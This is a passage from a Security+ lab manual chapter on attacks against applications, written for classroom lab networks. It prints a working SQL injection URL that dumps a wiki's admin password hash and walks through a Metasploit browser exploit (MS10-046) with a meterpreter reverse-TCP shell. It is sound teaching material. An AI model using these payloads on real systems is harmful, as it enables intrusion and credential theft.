PArt II VulNerABIlItIeS AND tHreAtS: HoW CAN
Chapter 5 Attacks Against Applications
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
S everal years ago, when attackers attacked a system or network, it was common for their attacks to be destructive in nature. Typically, they would launch a denial-of-service attack, deface a web site, or erase data.
The motivation often was simply just for bragging rights, to prove their capabilities. The trend more recently is for the attacks to be financially motivated, with the goal being not to disrupt the systems and networks, but to access them stealthily and maintain that access. This can be a much more profitable venture.
Another trend is the move from attacking the operating system to attacking applications. Microsoft and other operating system developers have put a lot of attention toward making their operating systems more secure. As such, operating systems are no longer the low-hanging fruit that attackers go after. There are thousands of applications and services that can be attacked and used as a means to gain further access to networks and systems.
The labs in this chapter demonstrate attacks against applications such as SQL databases, web browsers, and e-mail applications.
➜ Note
Instructions for setting up all environments used in this chapter can be found on the book’s companion online learning center at www.securityplusolc.com.
Lab 5.1: Web SQL Injection
Web sites today have become more sophisticated and must handle lots of different information and store it in a database. One common type of database that is used for many web sites is a SQL database. SQL (pronounced either “sequel” or “S-Q-L”) stands for Structured Query Language. It is a computer language used for designing and managing databases. Users can pass queries to the SQL database to retrieve information. When SQL receives a request for information, it checks whether the information exists and whether the person making the request has the permissions to see the information. However, a flaw can exist in a request for information that is called incomplete mediation. Incomplete mediation is when an inappropriate request is made for information but the application does not prevent the action. A SQL
ch05.indd 122 11/17/10 10:26:26 AM
injection attack exploits incomplete mediation in an application. Code is “injected” into a query and the database processes the invalid data.
In the following lab exercise, you will be executing a SQL injection attack on a wiki, a type of web site that enables users to easily create and edit web pages. These web pages can be edited by groups of people through a web browser, typically to document information, as done on the most popular wiki, Wikipedia. The SQL injection will be used to retrieve an MD5 hash of a password. That hash will then be matched with a rainbow table to retrieve the actual password. A rainbow table is a list of hashes converted to plaintext. This speeds up the time it takes to crack a password, if a match for the hash exists in the rainbow table.
✖ Warning
While this lab demonstrates how an SQL injection works, it is for educational purposes only.
Executing such an attack on a network that you are not authorized to can be unethical and have legal consequences.
Learning Objectives
After completing this lab, you will be able to Demonstrate a SQL injection attack.
•
Explain what a SQL injection is and its potential outcomes.
•
S 30 minutes
Lab 5.1li: Web SQL Injection in Linux
➜ Note
This lab exercise is labeled both with an “l” and an “i.” This lab will require both the linux machines and another machine with Internet access.
Materials and Setup
You will need the following:
Metasploitable
•
BackTrack
•
A third computer with an Internet connection
•
Chapter 5: Attacks Against Applications 124
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Lab Steps at a Glance
Step 1: Start the BackTrack and Metasploitable PCs. Only log on to the BackTrack PC.
Step 2: Visit the web site Wiki Web Help.
Step 3: Exploit the Wiki Web Help web site and retrieve the password hash.
Step 4: Find the password in the rainbow tables and access the site.
Step 5: Log off from the BackTrack PC.
Lab Steps
Step 1: Start the BackTrack and Metasploitable PCs. Only log on to the BackTrack PC.
To log on to the BackTrack PC:
At the login
1. prompt, type root and press enter. At the password prompt, type
2. toor and press enter.
Step 2: View the web site Wiki Web Help.
On the BackTrack PC, you will need to have a graphical web browser.
Type
1. startx and press enter.
This will start up the graphical environment. When the graphical environment is fully up, start Firefox on the client machine.
In the web browser, enter the address
2. http://linuxserv/wwh and press enter. See Figure 5-1.
Read the Introduction.
a.
What state is the Wiki Web Help project in?
b.
What is the current version?
c.
Step 3: Exploit the Wiki Web Help web site and retrieve the password hash.
Now that you know what that web site is about, you will attack it and exploit it.
The information about this vulnerability and exploit is available at www.exploit-db.com/
exploits/14217/. The exploit that you are going to use is a SQL attack against the site. It exploits the site by sending commands that the site is not programmed to handle. As a result the site will be “tricked”
into revealing information about the accounts of users on the site.
In Firefox, type the URL
1. http://linuxserv/wwh/handlers/getpage.php?id=9999999+UNION+
SELECT+1,CONCAT_WS(0x3a,user_name,password),3,4,5,6,7+FROM+user+LIMIT+1 and press enter. See Figure 5-2.
ch05.indd 124 11/17/10 10:26:26 AM
✔ Hint
Type the URL in a text editor and then copy and paste it. This way, if you type something incorrectly, it is easier to fix and try again.
What information is displayed?
a.
Should you be able to see this information? Why or why not?
b.
Step 4: Find the password in the rainbow tables and access the site.
In the previous step, you retrieved the password hash of the admin account. To find out what that password is, you will use a database of md5 password hashes to reverse it.
Figure 5-1 A web page with a SQL back end
Figure 5-2 Results of a SQL injection
Chapter 5: Attacks Against Applications 126
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
On a machine that has access to the Internet (not the lab machines):
Open a web browser and go to the site
1. http://md5.rednoize.com, which contains the database
of md5 passwords.
Copy the number following the colon (:) that was displayed on the Wiki Web Help page.
2.
Paste the number in the Hash Look Up text box and click Submit.
3.
What is the password that is revealed?
a.
Was it a strong password?
b.
The result from the previous instruction is the cleartext password to the admin account.
On the BackTrack PC, at the web page for the Wiki Web Help, click the Login link and log in 4.
using the username “admin” and the password revealed in the previous step.
Are you able to log in as the admin?
a.
Are you able to see the admin profile?
b.
Are you able to change the admin password?
c.
What other interesting things can you do?
d.
Step 5: Log off from the BackTrack PC.
At the BackTrack PC command line, type logout and press enter.
Lab 5.1 Analysis Questions
The following questions apply to the lab in this section:
What is a SQL injection attack and what are the potential results (impact on confidentiality, 1.
integrity, availability)?
What is incomplete mediation?
2.
Lab 5.1 Key Terms Quiz
Use these key terms from the lab to complete the sentences that follow:
databases
incomplete mediation rainbow tables
ch05.indd 126 11/17/10 10:26:27 AM
SQL
SQL injection wiki
1. When an application fails to reject improperly formatted requests, the failure is known as ____________________.
2. ____________________ is a computer language used to manage and edit databases.
3. Databases of hashes that match to passwords are called ____________________.
Suggested Experiment
Take a look at the hashes from the password-cracking lab. Enter the hashes into the rainbow table. Do any of them return a password?
References
Principles of Computer Security: CompTIA Security+™ and Beyond
• , Second Edition (McGraw-Hill
Professional, 2010), Chapter 18 SQL injection attack commands
• http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
Lab 5.2: Web Browser Exploits
As the trend of network attacks has moved from targeting operating systems to targeting applications, it has also moved from targeting servers to targeting clients. Because the servers have been hardened in response to past attacks, often it is easier to get the user to perform some action that executes code that compromises their system. For example, an attacker can set up a rogue web server and then send a hyperlink to the server to potential victims. This can be done with an e-mail or an instant message.
Once a victim clicks the link, the rogue web server exploits how the client interacts with the server and can gain access to the victim machine. This is a client-side attack.
Learning Objective
After completing this lab, you will be able to
Demonstrate a client-side exploit and its potential effects.
•
S 30 minutes
Lab 5.2m: Web Browser Exploits
In this lab, you will set up a rogue web server that will gain remote access to a vulnerable system that connects to it with a browser.
Chapter 5: Attacks Against Applications 128
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Materials and Setup
Step 1: Log on to the BackTrack and Windows XP Professional machines.
Step 2: Configure Metasploit and set up a rogue web server.
Step 3: Connect to the rogue server and and run the exploit.
Step 4: Log off from the Windows XP Professional and BackTrack machines.
Lab Steps
Step 1: Log on to the BackTrack and Windows XP Professional machines.
To log on to the BackTrack PC:
At the login prompt, type
1. root and press enter.
At the password prompt, type
2. toor and press enter.
To log on to the Windows XP PC:
At the Login screen, click the Admin icon.
1.
In the password text box, type
2. password and press enter.
Step 2: Configure Metasploit and set up a rogue web server.
On the BackTrack computer:
At the command prompt, type
1. msfconsole and press enter.
✔ Tip
You can save some typing by recording your msf console commands in a text file and entering ./msfconsole -r cmds_file.txt to see a list of exploits available.
Type
2. show exploits and press enter.
You will be using the Windows Shell Link exploit.
ch05.indd 128 11/17/10 10:26:28 AM
To locate the exploit, type
3. search lnk and press enter.
You should see the exploit listed as
Name
windows/browser/ms10_046_shortcut_icon_dllloader
Now that you have located it, you will use it.
Type
4. use windows/browser/ms10_046_shortcut_icon_dllloader and press enter. Check out what options are available for this exploit.
Type
5. show options and press enter. How many options are listed?
a.
Of the options listed, how many are required?
b.
This exploit module will start a web server on the port indicated by the SRVPORT option and the IP address indicated by the SRVHOST option. You will configure this exploit to start a web server bound to the BackTrack network interface and use port 80. The default URIPATH should be /. This option indicates that the target only has to browse to the root of the web server to be exploited.
At the command prompt, type
6. set SRVHOST 192.168.100.201 and press enter. Type
7. set SRVPORT 80 and press enter.
Next you will select a payload for the exploit. You will use the Metasploit Meterpreter for this.
Type
8. set PAYLOAD windows/meterpreter/reverse_tcp and press enter. Take a look at the new options available with this payload.
Type
9. show options and press enter. How many new options are listed?
The payload you selected was to perform a reverse TCP connection. In order for this to work, you need to configure the LHOST (local host address) and LPORT (local port address). This is where the exploited target (the server in this case) will call back to (your BackTrack computer).
Type
10. set LHOST 192.168.100.201 and press enter.
Next, review the options you selected. If any of the options are misconfigured, the exploit will not work.
Type
11. show options and press enter.
Double-check that all the options are correct. Re-enter any options that need to be corrected.
12.
Chapter 5: Attacks Against Applications 130
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Step 3: Connect to the rogue server and run the exploit.
Type
1. exploit and press enter. On the Windows XP machine:
Choose Start | Internet Explorer.
2.
➜ Note
If meterpreter does not indicate that a session has started, you may have to wait a few minutes and refresh the screen.
In the address bar, type
3. http://192.168.100.201/ and press enter.
If the exploit executed correctly, you will see a Windows Explorer window open, as shown in 4.
Figure 5-3.
On the BackTrack computer:
Press
5. enter to get the prompt.
Type
6. sessions and press enter. How many sessions are open?
Type
7. sessions –i 1 and press enter.
This tells meterpreter that you want to interact with session one.
Figure 5-3 Client-side exploit executed
ch05.indd 130 11/17/10 10:26:28 AM
Type
8. help and press enter.
This gives you a list of the options for interaction available.
Test any of the options you see listed.
9.
Which options did you choose to test?
a.
Did they work? What was the output?
b.
Step 4: Log off from the Windows XP Professional and BackTrack machines.
At the Windows XP PC, choose Start | Log Off | Log Off.
1.
At the BackTrack PC, type
2. logout and press enter.
Lab 5.2 Analysis Questions
The following questions apply to the lab in this section:
What is a client-side attack and what are its potential effects (impact on confidentiality, 1.
integrity, availability)?
In order for the exploit in this lab exercise to work, the user must go to a particular URL.
2.
What methods might be used to get the user to direct a browser to the rogue web server?
Lab 5.2 Key Terms Quiz
Use this key term from the lab to complete the sentence that follows:
client-side attack
Using code to exploit the software on the user machine rather than on a server is called a 1.
___________________.
Follow-Up Labs
Lab 7.1: Hardening the Operating System
• Now that you have seen how a computer system
can be vulnerable to attack, you can find out how to properly lock it down.
Lab 9.2: Intrusion Detection Systems
• This lab will show you tools and techniques for
detecting attacks that may otherwise go unnoticed.
Chapter 5: Attacks Against Applications 132
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 5
Suggested Experiments
Run Wireshark and capture the traffic for the exploit. Can you identify the signature? Can 1.
you use the signature for detection?
Attempt the exploit using a BackTrack PC and a different browser, such as Mozilla Firefox.
2.
Does it work? Why or why not?
Attempt the same exploit on Windows Server 2003. Does it work? Why or why not?
3.
Using FTP or network shares, upload a program to the server and attempt to execute the 4.
program.
References
Principles of Computer Security: CompTIA Security+™ and Beyond
• , Second Edition (McGraw-Hill
Professional, 2010), Chapters 17 and 18 Remote Code Execution vulnerability
•
Vulnerability in Windows Shell Could Allow Remote Code Execution
•
www.microsoft.com/technet/security/bulletin/ms10-046.mspx
Lab 5.3: E-Mail System Exploits
E-mail is one of the most widely used applications on the Internet. More people than ever have an e-mail address. Most people have several. Because of the convenience of e-mail, it is also a popular means of delivering a virus or some other malicious software. Attackers who know how the e-mail process works and how people think can use that knowledge to get people to do things that they shouldn’t do.
One thing attackers do is spoof e-mail addresses. Spoofing means sending e-mails that look as if they are coming from a legitimate company or person when they are not. Some viruses will even send illegitimate e-mail from legitimate users. The “I love you” virus looked at a person’s contact list and then sent itself as an attachment to the first 50 people listed, appearing as if it came from the person who was infected. The individuals getting the e-mail saw “I love you” in the subject line and that it was coming from someone they knew. As a result, they were more likely to open the e-mail attachment.
Another way that e-mail can be abused by attackers is to convince a user to run a program that is either an attachment to the e-mail or downloaded when the user clicks on a link. The file appears to be something harmless, like a text file, a video, or an update for some software. The file instead is malicious software that could perhaps delete the user’s entire system directory. In this way, e-mail is the vector of attack. A vector is a mechanism that transmits malicious code to your system.
Getting someone to do something that they would not normally do by using some kind of trickery or lie is called social engineering. An attacker may call up the IT department and say that he is Joe Smith in accounting and that he forgot his password. The IT department, if they are lax with their policies
ch05.indd 132 11/17/10 10:26:29 AM
and procedures, may just tell him, “Okay, we just reset your password to 123. You can log in, but you are going to have to change it as soon as you do.”
Attackers can also craft e-mails to persuade people to do something they should not, such as make a deposit in a bank for some “worthy” cause or reveal a password for “system maintenance.”
How the e-mail attack affects the data is dependent upon the payload of the malicious software.
It may capture information about the system and send it back to the attacker, compromising confidentiality. It may create a copy of itself and/or modify some of the data on the system drive, compromising integrity. Or it may erase the hard drive and compromise availability.
In this lab, you will create an e-mail that appears to be coming from a legitimate source and an attachment that the recipient will be asked to run.
Learning Objectives
After completing this lab, you will be able to
Describe how an e-mail address can be spoofed.
•
Explain how the use of HTML in an e-mail can be used to spread malicious software.
•
Explain how an e-mail can be crafted to convince someone to do something they should not do.
•
S 30 minutes
Lab 5.3m: Exploiting E-Mail Vulnerabilities in Windows
Materials and Setup
You will need the following:
Windows XP Professional
•
Windows 2003 Server
•
Metasploitable
•
Lab Steps at a Glance
Step 1: Start the Windows 2003 Server, Windows XP Professional, and Metasploitable machines.
Step 1: Start the Windows 2003 Server, Windows XP Professional, and Metasploitable machines.